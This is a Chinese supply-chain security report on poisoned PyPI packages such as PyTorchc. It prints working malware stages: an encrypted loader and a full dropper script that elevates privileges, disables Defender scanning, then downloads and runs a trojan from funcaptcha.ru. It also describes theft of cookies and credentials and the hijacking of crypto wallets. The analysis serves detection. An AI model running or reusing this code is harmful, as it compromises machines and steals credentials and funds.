2cp7KKrFuIBjeFFjg9SQHsSocl-PNPjw5lx0qXmlNcwl9AyPdIVOoSu6KtbLj4_Q4_pRo7KSzIEFxl4XiyatiAfJQqpNWLQQ6OdvjJjlCNg1XCOOZCsJw_fe2uogeFbZJj0xcDCoyC3G3kEASWPj_zc4QIFnjfwWQsJNXK9GkQdMFYYl8OueNgv4um1viDmLSKkcW7WGIXKxGLpS-lqF0ioeniUuyc_wOYisJlm8i0DBLAxQ__Yz6sTlfAcc9bWXdVRpNWv-FlMeqodpIKwR56ZOh-CMncrCGsevj-ih3GG-VZasjvqLybDezMHs_0Hxwf77rdB5JuN0AxEp6r_IJ-HXuQZm0jHlmwxlaOhufsdoR8ohk558BPbmKJbixVRghYZq68MqHtMpT9d1_1B24f_Gl9Nj73hDKQbbCtQQQlQjwTSWhZh-JcGmOag-OUb76EGRG45yBv_cY09b5PZXU9JPHqcfFbVfV__gNQrw5TDvXnAhn_6P9C7FYcknXfkM8OtajSbZeDmUqKedRFkZ9lR8tkYu6WAXMbPJnoPjlmjzHtt1gK0Ei1Kd2MAV7KxSP-t7vyJUoO--W8Pq4lwrdywJJO6Z3N4aDV24YWss8cMNW0FQ_SCQI5aicJ6mVRwthhZ3T2qQF8diH-H83QbpM_dpI2AhdxvpbU9qV1-sgzLoeQbDafKhqG8VciKW1NqFtdrEH1JSdmibq2oyi2eeAugnUex0JzeDK342JswKRFeJaFk2PUFaSOrWkfpt80J4XTwSUXsMexv0tN9eDvyJ2gkZdV0eyoDVm9ijWIO5Wcyt5eP3ompQYHdFKIDCo8zyTQvP21Fji-IWiZH26XAKSgQRk2W_6uKySO9E358gTlNeQUqpI-dvtWxSw1AVJT76acDWNxhlpZb1NRgXw8rCJAsrqWialjLlD4b3ij2ioG8bVRVbBsiXahO5Yvq0aBTo6KmJt_CpQk5T7MvFkv7GpTaGHv8MRtGAwDABJdSia2l5mruX-OuvtBvbkSiZE7A14HIL9F56H_drbytFbbn-K_mLfB57-ATj1_GbvwRTAmVmaQIPZcVpG-6fWUDy7lIFwcdrLMd1NZ9Zr5-tNFXiU_IQXlJy7VOxfpzE7DHm6e6Jdt20bRtGAi5SDO0PFvbyNEueYrX4c6RHcd0oNOV1IH0w7OVS8_aApbXG8QISD-BubiSwktQo82qQyuS5jgjO0PSyPDxf-XtW9IzewwbM6KzraByW7KF5eyl6tWSYLTFA_HTmBEFvnlNLrSUShKCjcYi0k7xIzyuP68lidYiSzxbE4imBjkYbJw4-Dh0Xjp8ZUkXDIw7SGpfEYWlWwm0cB2GEtSnL3-Gp9exHF9wbbpiSYVxb8tX5SKh_5m8gPKLoRYJUmk3rntnic50vZDZZ093tS0qWs6jWIRvYhqOp4OumXFSj7ylmskIED_rqc8OqozuAfGAJ2ofUXUQBxgDkQ_zMalrmV7l5MZ6M4y6emidPiZfLl-ViB-cD2clmjoAwE5w2wfMp1meFHcPqna2uwZeIl-EpiqwnAWxIv_QoWvIF82wnv1dpll6_sMs35OYPfNrIJ8b6IyNM_lEF30w9GH8LFxscNey17QEaCU3JaEsEDdGRcuvmvYgfPjJ8s9zIuWKW0xzRjcTB9dimft2T-PIbgI26SP3Y98uZaHPosByZzuRKWbwozpsxDcYwp63oFjQcTEZB8DkID3MK-yA3lc8Y43ATgNfE-PRtYbjx6t-yT9a1lY_JKkO0IJGumBASFfO_IpvHmzkoeuXhzR-Sh5KI398xTWXR_XM2OfkIuTGlb8uwq411hSpVEfOevhGYP1hmkV4_b3yvdU5YCpIlMJ0OQUXODgKAy3slY6S4Gow2QZqhgmNKK_y7KU0XposzTRSnlhFCYqyjTZpoBo4DJUt9hYnq4l1OWTnky22fUk70Q__CQ0bEQYnP5srSjb5xbE8X2H1-6EvjBQBvU1mPaGKvvHqwGPNFNNApvfCsM4AIKfKSs7HZ08oIpKzjyCA5I_lkRuiTKBdcgPKp9uG8FaaD2AKK1gyxAHcahUhvSw-E77CbzXR1CPzl-5zl5rpXfNa6aRd989g1v_0jMI9qDqkt-76dYFHv9L3LH6a7vyGFX19lkY4Nm-DpGYsGnukRPUcGEtPewQJEbjJQqfd_XI__Y0gCBEVcQolCIgN-4hnv1_bdgdwvkDUIqTqRIrooWFyEdRU9qssAHeaX8oZhE_CyBVPxjBqlJ_zby_UALv1V1gY0HoEa_1hTYr4V8HdCCYkIXrrI7hnEKQTAODD5TzpXOo0hBJ-PYybNqY001HIZBNItf84AQsGlyj6F3I2T9r-PdD4Fxe38rkWutX8avvAtYZ-JHpG-TY_15ksjWolMPuFfkBw-FoX7bV2w3uyKfg6mS1SOfYfcCx-xize8yU5PH7pqbUSuqYj1mhRfZ14_tNAfTzpW-E-X6skFB8QKvH0lJUDqRLq8Huzz4bi_wrej3Zz2ikqmTMha_qoSXcjJHmlsnmMLDu651sjG-tz7ATC8sSSPYmawer3nBJq6lpxZ8hrZmip0XPcr6ofANFxF3106Q5nap742CkB9nRzM0PyDPH2t5jyk9KAUrZc_ZVriZJTK64cAzUAaV2519UdWNxwon-ALZKLu1iOVt22QtWA678vsRFqYhmuwwIVmfK8jmx6kGL2G-uZOztayjWn2x3ogieuXXuOC7mjxu9-iPCbGSH_6jmpgKV8ZF_yN7t7vJno1xvoE0jQSPduxic2CrZf_AGvNE7HhNB0-rlyc-6bxnJE_aL8sjZVoqciXDvMCqNPB8MuFhycUd_JHrRMATrq-RRhYKi7bDcZymVy1P9Is3RM6LiQqhndI4K4kc3gJVKsrMCkUJTzZ9paCKwtSyYVvk3mOTmCdrsQ_6NqLBGbjWFe4hPPa9gn5Wy1aB5jxYJpCThtUan3ARt79U1hXCnXmO7q-t5EnvqyWGGHdsf5qs88o8QIkDad_jTRKHbvJcbT6kTr56A__UtwM3IQX95PbP2OPT8_nFK7SNEbzMMXOxfd-r5mKwwEHMnQ6ZvwE4-dUkKHuoHZ43V3YRznkKR2vB-PDooEsMy4ISs5OjmGOvh--eYWvkeRrY1unjlZKFrrlvykHKo3L7zbINGY9QyrR2-UNBiDSzhaoPP1y9Q77yiMuiJEy7gM0P3221zlO3EPOSA2STEf9MWF6BU-vcqpC3li-hyWzVEEYG4ptzVX4RULFPxoFwSOUv2BbtwfYeKgBtXs6Snxr8tU_HKaxGw18Z5UAblOU09S4DLkRcBQ609pBsbhE5h3tK5uyzs68RrinGGH0vWj51ukNrP2U6UjhGX1irE9WkmAeMII73f6CwdVcBSNemCu7ncO45w1D_JwVL_4M3-c2bk-qQe2Qr3SGIb87xoAuA9I1G4I1gmVaDRRgrrEdHBShRyOwQYoyvrw97rGd3WckQeWW8XY_vH-i3n7H6l6HyDpQn-hIIhSBQxZ7q4kUb4WzTgaqRxnowLe5OeHg22819xODRSuCqCnEFF5Ojs-V2nsovayqWUy7pm6oiUtVyNm2yzwESScuyfIfrC98yItXIVDTXcOELYTLRqnq6LhArDLvubhR1QJFKufOZTzfllvBRutCMJ6dsEO9g4O0KK5jTPq8AvPfkVUWJ1_hGbrMgcUlffi7oAtZ1KaoIPzkHDfrusYm_UDp-OAGNu5bmYwmcl07Phjy-hDHizhG4QYxWNOUQJnhKjPcv7MfFiqfgTbS3AvOXS3_bmE1qAp_YMJQs5DorOtRnvwNFAoRILvr_kjgqvieZeJPPnSVECWBPMNZQTsewHZ2Gb6h_BkEPOzXrQk6uufMdJaCbfY7D1bw6UpoZQGCiQCekrt8BnE_PwrAu1D1iSvX2pnvrF4tN-tiYyQK-Sb0-3ugFQyyVKnj2ocs-myWxpnwdhVHK7i4nN9R_pgyOmjYb4PYFiNqy2OIlcdlwb-mLeSso2OTqWoiteDVVXzfuyV_S_cW09bEUp_h21cLwHkM2UyiK0jW3A9FNRdOkeDTLVlq7Tk186fS2nC0dfR7jyJCgmFYA8oYikEhmUW6eN0tCcGd-NxgXYarHi7yJdpTW4pXW0EzkYze-I2pRAwwQvu2lQkbQDlpqCa3pgY4WofzMDyUw2XUUC-JlzSdkK5vnyR4iXUCzZeUqbqF1atqPCZXDG-th04BBP_o_8cPtiHqvrhX_7KjdKS9Wz3GrAyWfGSNp7XoV61uQAWWNe2SG2fiAhmAXxdUaLdRhPYBWjVPx363jsO0_M59D-C6j2ensJgVZm6VAx0MxavlxOTrEyD2rI2C741MmARjutSnnR5Y353kyFGQ2RfDUdM5EqgGHFaQ3B2CMQknvkjJrDMquyuqCNCTgBYU5BL9JyapGw1DtZHCZxfDoLvayF77XV5vWChczYV_lR37E1yGxFOwTR6KGsSB69_JVMni5qFnrMMd0N7ysVvTB5c4_3JSUnS7m24RyNamb03MWmOXEU0R7jCRzBVR_HhfqCis1pptxOxhNLusEBVYbo8GLYPqYAtqPgN9bZN__NIphuYXd94EpFEHSPKRjBfdbh6HB4E29mZKcocZyW5sBG_rWFRKrjAi6ITqdkFCRpGCyZKtdv-A5aR_ZBjOITJ99kgVlA66OK7P3gWJtiVHbQH-xdl3O4vH5srvpWw9zjItP-UlIJlVah_9-3HZudtcR4bA7qJJSyBOyjeYxgdc3YnOYEqmzmohORFh16hH5HycpuonDgAT8zn4a8XK-yx93qPf9IejGowazSmcN8Mp84mLao38Y_4DEAElqyQ2lex1TsbZardKrqfoYgGH515O6JI_J4Gdnu4yGMryLp3nRvQscM3mqbtdtewLDela-u0L9NSU9RCOJ_oeEhaFmifFp5Vrzxhnzwwc-EMgx-vo4i9Y5rpLHP8DrgKMIraibBznu4mJJwQkvuY2h--UzUFNwlhyA3L1Q4vMrdqTcvfvMfvbOeZUTaU4225bRNB7gkhSMBdg0VsfG6nSco-niwfVL8Y5UqPS4lc8etLDej_zFBpmDAUB3heKqSjc704NKKZzIpvs6z-N6h_KezhhroASsHAlktQ8X8S29msoVtQ7OOED3XYFzLpewwHR5pGFzz48BegWrgf32UKMusuqySV8jNzaEyDZfHvh23pqIcKqez3mgCPvBop6O_-ApvadOQ_Q36sPTcg9_okw6APdq-1Sl-jCN4kcCObYytxISDmxajzvns8m8aprg5Q1FXSITZprsuL3sYS7k72ggpsCg0rZMFi7YYeQ8YDDUnk4sH2IU2mJakl7CiaV7sg7DysNMTwmFexmb-gz14GWIidwuqci7C1oCzF8xzEgBBqFjJDG_WHGkfKrswRUHniYZB4GDdnAHuNvFg0SXm-EEwb_eiHsADd9iXm6cNAUpyWeP9Yt8tzTIKQUZZiB6tO8Oz5Z3KSKlA9kLXzFJi3HN3BhnJ9cw5TxUBI0-vm9NGtYCOySIKugFW1z95bUqA2m9SlwWspDldGDvm7nzWSCGaqSVTVanWn0nyzRzVjmhMfegRRab6hJm3xBxfOp5_I6fuSlRdD5TrphJ_cxZDSzudsJGboiEHKuFOmapEDcb5KYZHHMmZ97mvSepWRuSIPdQC-lmlmMoxctAbom43AB8M4Zc7Nd8uG4VXj0z91EkCon4UBOn_e48qFjpEvAcd5T-X1O5JjltJQsfN9SXOt0R1KZCWvMd-4ZX7yI90HVWxeR5NpCnsDyjGRjvI6Udswc526eKE0JiOGM9V9KLdYPJYlg8ya90NmtpW1mwEkTjykM3GyXEUBiiwXzcHoORFi3QI_fDrepFjbDq021Lz1ZYnKZJwgXGYMsuQdI9sIL9B0AGC1-DIpTSu0HASpw4Cd5PuK-ElGbnYeqC9jmaAvY3L_Aej8ju6qvjCD_fKNHbVWr9T16yVKwHuQnz5PVq84mwmTR7Y6lFZwOO9LGuLhAq77AEhvaF34X_ykgZI96AtjMCv0C-fCn480p48xl5j-BlMbLm7isSHlAfTm4FVAVn_llfxydMPDNiHiY1cAkCERVi4Sp3rxjixrKPclRHml6lUx8-1MfyIQt9z2ldQpyK-SWMp2c9zrL2Zjcl5428O39Esm5nKUbahe5PrHiUP6kvK1JNu99vZ1fGnsBpRsenTqXAm6atndG5Ypf04bgL6_LZjiT1UTpspdeqC40MsEcSbHYqDjylAjwfJBLC-TcMlxfZacBs3aSR8iVGNdpvZyYAMwhjtA9YCb5U87VhsQPO9IDa0aTAFggL3I8zqk7suTOXdcY5cftXOsBUwFVwo0n61aOLIXkMLqMn003pDJGhY6zYu5jzJuOQzuC7yJaaaPga68T1o0X0DgtefdCCwUZvnG9L5qXWwZeMgSGl9ygZXBzMfpuZNYpvQOELyi736_f5RnoyF35Di6zPaP1kBn1NLdTHyZE_n4Ob_V-tL00ACaVQJ9Qb2U-NH9UM-ibdyh4TUuuAcq4rcSxnikoOZxZNjA782VNz9T_7tKhMoYtGMAanUQccZaCBLwb4i8p_idulmQ5s-pHj4bIFmgRWB8SzZ2K74B8F9yLlbn2q6HKkOj_A7yr-hHjJ5gb80HgUqT6hx6D0ECxurrYAAU5QRqCf6Z63QJP9VfYgG18-Sw9a8A2d0wd0LdLcqa2lDfZ8i2hyzNttGgSfJvqkbv7sZnYattrIcq5lkDHg5FLxA7m3rnJYruG9t9Rp5VUfXoHshBqyg-PJVZTO7LrbTZ1v2w7mZv63Vauq5INEqcJEGYYEb8NDyrpbBFlWc1Zc93IwB0yc8f9t6y9zsvuc3TOBa5HDHhp1no_OpapscL2t6DcCgqBYRVQFqZ25bYN21Gi7wx15v8LF4tryaTA0LRMVHIjyqyXbijEruU78Yyavc4stlkTegbGx_Aqcvnfijmn5TxgEf4Pn-VKVAtmpUWELuC0xe328JqWOzUPudMWqkkV2BZjPvIJzo3ivYC8PFvmK2_xkN2BudkjVrIxjaN7d0cE8LuCZcSHxlKXjWXpp_q2upMDW6x5QQsy35-evL3ZBLw88FVXet32qnKP9Xp-F9Ae1SyYn8wypG340pdpIBrTLinKvmJnGHAPYb2UVhvdNHfQ7ynNtF7ZEFmMIjjEyIiEa3ZoIOFDBnrl0ZEg7dnWKXNIVX_oegRx-G_ZNP47AOZnqAMXX7YExQDcNkMyzkJiUXt26PsN-ebdzvEPGcznWTWuDvqur_8Mq01blyhHQNuT_jySExSxpBFIoPytvrMZatrSNIvogR6WHMEGlWAY8MeyGoMAE8eF5TAleLIg9dPTRM76I-4XDqajie2KIM6IkMQ2YaCMR5iXP9WOkRWMfqB8_3st-vAeS95VUjvdj_2LKPOjOVwt83bgq1lQc4_D16URj9Ksjnr2p9SYPXwwq18uLG9NUb0f40jOfF2AvvA1Xd0db2itKU5dfauAjh0DWCh1xSc-rTL439DeSWIVgx6Dg2mGmr1r78ZAK_qVGe-EOuC-yKR7UWh9asIQqHKEbQrDecHgT8cQHAtoGLOnkzViy2jw_DQinMpIV4DD8TLxNvs1bBaXB0kQfc096CLxyDovPK1u8CbpyL3VWnjyMHL0hErBfkYL-GMuoo9MXCxCUYEo6Wfx3BJS1_kzBMG7dDA_HUJOuH3D8yUesACZwGtQXYog36k6c8C4=').decode())"""gruppe_path = os.path.join(os.getenv('APPDATA'), 'gruppe.py')with open(gruppe_path, 'w') as file:  file.write(content)os.system(sys.executable + " " + gruppe_path)

第三阶段攻击代码同样也是被Fernet加密后嵌入在gruppe.py中:

第三阶段攻击代码解密后如下所示,负责采集主流浏览器的Cookie及登录凭证等敏感数据。

采集到的数据最终会回传到攻击者服务器上(https://funcaptcha.ru/delivery)。

此外,针对使用Electron框架开发的数字钱包应用APP(exodus和Atomic Wallet)

使用恶意app.asar(https://funcaptcha.ru/atomic/app.asar)对数字钱包应用进行app.asar替换劫持。

最后,还会远程下载恶意文件hvnc.py到Windows开机目录实现开机自启动。

hvnc.py主要负责从攻击者服务器(https://funcaptcha.ru/hvnc.exe)下载恶意木马程序并执行:

import osimport subprocessscript = """import os
def create_and_run_bat_script():    bat_script_content = '''@echo offset "filePath=%appdata%\Microsoft\emptyfile20947.txt":: BatchGotAdmin:-------------------------------------REM  --> Check for permissions    IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system") ELSE (>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system")
REM --> If error flag set, we do not have admin.if '%errorlevel%' NEQ '0' (    echo Requesting administrative privileges...    goto UACPrompt) else ( goto gotAdmin )
:UACPrompt    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"    set params= %*    echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params:"=""%", "", "runas", 1 >> "%temp%\getadmin.vbs"
    "%temp%\getadmin.vbs"    del "%temp%\getadmin.vbs"    exit /B
:gotAdmin    pushd "%CD%"    CD /D "%~dp0":--------------------------------------    
mkdir "C:\Windows\WinEmptyfold"powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.exe'"powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.dll'"powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension 'exe'"powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension 'dll'"powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:'"
set "temp_file=%TEMP%\RuntimeBroker.exe"
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://funcaptcha.ru/hvnc.exe', '%temp_file%')"
start "" "%temp_file%"del /q "%appdata%\Microsoft\runpython.py"'''
    temp_folder = os.environ.get('TEMP', '')    if temp_folder:        bat_script_path = os.path.join(temp_folder, 'temp_script.bat')        with open(bat_script_path, 'w') as bat_file:            bat_file.write(bat_script_content)        os.system(bat_script_path)    else:        print("Failed to get the TEMP folder path.")
if os.name == 'nt':    folder_path = r"C:\Windows\WinEmptyfold"    if os.path.exists(folder_path):        exit()    else:        os.system('timeout 600')        os.system('taskkill /f /im explorer.exe')        create_and_run_bat_script()        while True:            os.system('timeout 5')            if os.path.exists(folder_path):                os.system('start explorer.exe')                break            else:                create_and_run_bat_script()"""
appdata = os.environ.get('APPDATA', '')if appdata:    # create microsoft folder if it doesn't exist    microsoft_folder = os.path.join(appdata, 'Microsoft')    if not os.path.exists(microsoft_folder):        os.mkdir(microsoft_folder)    script_path = os.path.join(appdata, 'Microsoft', 'runpython.py')    with open(script_path, 'w') as script_file:        script_file.write(script)subprocess.Popen(['python', script_path], creationflags=subprocess.CREATE_NO_WINDOW)

 

排查方式

截至目前,大部分恶意投毒包在国内主流镜像源中仍然可正常下载。针对文中分析的恶意投毒包,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(OpenSCA-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。

[  {    "product": "evilshield",    "version": "[0.0.2, 0.0.9]",    "language": "python",    "id": "XMIRROR-MAL45-320BFE9",    "description": "Python组件evilshield存在恶意代码,执行反向shell后门攻击。",    "release_date": "2024-03-05"  },  {    "product": "salesforce-service-cloud",    "version": "[99.99.99]",    "language": "python",    "id": "XMIRROR-MAL45-DF148327",    "description": "Pypi组件salesforce-service-cloud存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-03-12"  },  {    "product": "pytimicer-c",    "version": "[0.2, 0.3, 0.5, 0.6, 0.8, 0.9, 0.10, 0.11, 0.12, 0.13]",    "language": "python",    "id": "XMIRROR-MAL45-611C1FCF",    "description": "Python组件pytimicer-c存在恶意代码,远程下载执行恶意木马程序。",    "release_date": "2024-03-12"  },  {    "product": "requestlogger",    "version": "[1.1.1]",    "language": "python",    "id": "XMIRROR-MAL45-BA32FE12",    "description": "Python组件requestlogger存在恶意代码,远程下载执行恶意shell脚本。",    "release_date": "2024-03-20"  },  {    "product": "PyTorchc",    "version": "[1.0.0]",    "language": "python",    "id": "XMIRROR-MAL45-2F2F7176",    "description": "Python组件PyTorchc存在恶意代码,盗取浏览器cookie及劫持数字钱包应用。",    "release_date": "2024-03-27"  }]

总结

根据2024年3月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和目标呈现多样化趋势。Pypi仓库成为投毒者的重点攻击目标,敏感数据窃取仍是主流攻击,此外针对数字钱包应用的投毒攻击也日趋严重。

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/555272.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024华中杯A题完整1-3问py代码+完整思路16页+后续参考论文

A题太阳能路灯光伏板朝向问题 (完整版资料文末获取) 第1小问:计算每月15日的太阳直射强度和总能量 1. 理解太阳直射辐射和光伏板的关系**:光伏板接收太阳辐射并转化为电能,直射辐射对光伏板的效率影响最大。 2. 收集…

MES给制造业带来看得见的效益

作为连接生产控制系统和企业管理系统的纽带,MES为企业提供实时生产数据,帮助企业进行更加明智的决策,并实时调整生产管理,最终降低运营成本、提高运营利润和资产利用率、保证生产安全与合规。 MES主要功能包括工艺技术管理、生产…

面试题:一个 URL 在浏览器被输入到页面展现的过程中发生了什么

文章目录 前言一、回答二、深入追问 前言 这是一段~ 经典的旋律 ~,不好意思串台了,哈哈,这是一个经典的面试题:一个URL从浏览器到页面的过程中发生了什么,那么今天就带大家九浅一深来研究一下 觉得不错的同学可以加我…

波士顿动力抛弃液压机器人Atlas,推出全新电动化机器人,动作超灵活

本周,机器人科技巨头波士顿动力宣布液压Atlas退役,并推出了下一代产品——专为实际应用而设计的全电动Atlas机器人,这也意味着人形机器人迈出了商业化的第一步。 Atlas——人形机器人鼻祖 Atlas(阿特拉斯)这个名字最…

CTFHUB-技能树-Web前置技能-文件上传(前端验证—文件头检查)

CTFHUB-技能树-Web前置技能-文件上传(前端验证—文件头检查) 文章目录 CTFHUB-技能树-Web前置技能-文件上传(前端验证—文件头检查)前端验证—文件头检查题目解析 各种文件头标志 前端验证—文件头检查 题目考的是:pn…

【笔试强训】DFS、优先队列、滑动窗口笔试题目!

文章目录 1. 单词搜索2. 除 2 操作3. dd 爱框框 1. 单词搜索 题目链接 解题思路: DFS (深度优先遍历),用一个 pos 记录要匹配单词 word 的位置,每次与 pos 进行匹配判断(这样做的好处是不用把答案存下来) 注意细节…

深入解析Nacos配置中心的动态配置更新技术

码到三十五 : 个人主页 心中有诗画,指尖舞代码,目光览世界,步履越千山,人间尽值得 ! 在微服务架构中,配置管理变得尤为关键。Nacos,作为一个开源的、易于使用的、功能丰富的平台,为…

electron的webview和内嵌网页如何通信

在 Electron 的世界里,webview 标签相当于一个小盒子,里面可以装一个完整的网页,就像一个迷你浏览器。当你想和这个小盒子里的内容说话时(也就是进行通信),这里有几个方法可以帮你做到: 这里只写…

轻量化模块整理,即插即用

轻量化模块整理,即插即用(持续更新) 整理一些轻量化的结构,作为知识储备,可以用到后续的项目和研究中 Mobilenetv3 深度可分离卷积 MobileNetV3 是一个轻量级的深度学习模型,专为移动和边缘设备上的高效…

conda配置多版本python

安装conda 以下任选下载 Anaconda Miniconda 配置conda环境变量 比如windows,在配置我的电脑中的环境变量,在系统变量的Path中新增下面内容 需要根据实际目录进行更改 D:\soft\miniconda3 D:\soft\miniconda3\Scripts D:\soft\miniconda3\Library\bi…

windows与linux双系统下,为linux系统/boot独立分区扩容

问题 安装ubuntu系统时,采用手动分区: 1. /boot :一般分配1G,电脑空间大可以分配4G 2. / :分配150-200G,类似windows C盘,存放系统环境:如ROS,python等 3. swap :…

PE文件(一)PE结构概述

PE结构简述 Windows操作系统是只能运行以内存4D 5A开头,翻译是MZ的可执行文件,也叫做PE结构文件,是以exe,.sys,.dll等等作为后缀的文件。而不同的操作系统能运行的可执行文件都是各自特有的,比如Linux可运…

图与图搜索算法

图搜索算法是一个非常重要的概念,它是计算机科学中图论和算法设计的基础部分。在开始讨论图搜索算法之前,我们需要先理解什么是图以及图的基本结构。 什么是图? 图(Graph)是一种非线性数据结构,它由一组点…

算法训练营第25天回溯(分割)

回溯算法(分割) 131.分割回文串 力扣题目链接(opens new window) 题目 给定一个字符串 s,将 s 分割成一些子串,使每个子串都是回文串。 返回 s 所有可能的分割方案。 示例: 输入: “aab” 输出: [ [“aa”,“b”], [“a”,“…

3D模型查看器开发实战【WebGL】

本文介绍如何从头开发一个包含3D 模型查看器的页面 - 尽管它非常简单,但你将学习的步骤也应该有助于构建其他类型的 Web 应用程序。 在自己的网站或博客里展示3D模型更简单的方式是使用NSDT 3DConvert提供的在线服务,无需任何开发工作,5分钟…

简单3步制作纸质英语绘本的mp3英语朗读音频

孩子学英语,需要看很多英语绘本,而且要听配套的音频。但有些英语绘本是没有对应音频的,下面简单三步,就可以将任意英语绘本制作出对应的英语朗读音频。 第一步,手机拍照做成PDF文件: 绘本每一页拍照后&…

模拟量化面试20问回答

原文链接 参考链接 量化的基本公式 对称均匀量化(symmetric uniform quantization) 对称量化将零点z限制为真实的0。注意对称均匀量化并不是关于零点对称。它还分为有符号和无符号。 signed量化公式 signed量化范围 8bit量化范围[-128, 127] signe…

使用python进行网站答题操作

介绍: 使用Python和DrissionPage模块编写自动化脚本,以模拟人的行为访问网站并获取题目答案进行自动答题。这个脚本似乎是为答题网站设计的,通过监控特定数据包地址来获取题目答案,并模拟点击正确答案进行答题。 代码中的逻辑包…

List实现(2)| LinkedList

参考:LinkedList 源码分析 在Java中,LinkedList是一个双向链表,实现了List和Deque接口,可以被当作列表(List)、队列(Queue)或者双端队列(Deque)使用。它允许…

[渗透测试学习] TwoMillion-HackTheBox

TwoMillion-HackTheBox 信息搜集 nmap扫描一下 nmap -sV -v 10.10.11.221扫描结果 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 3851/tcp f…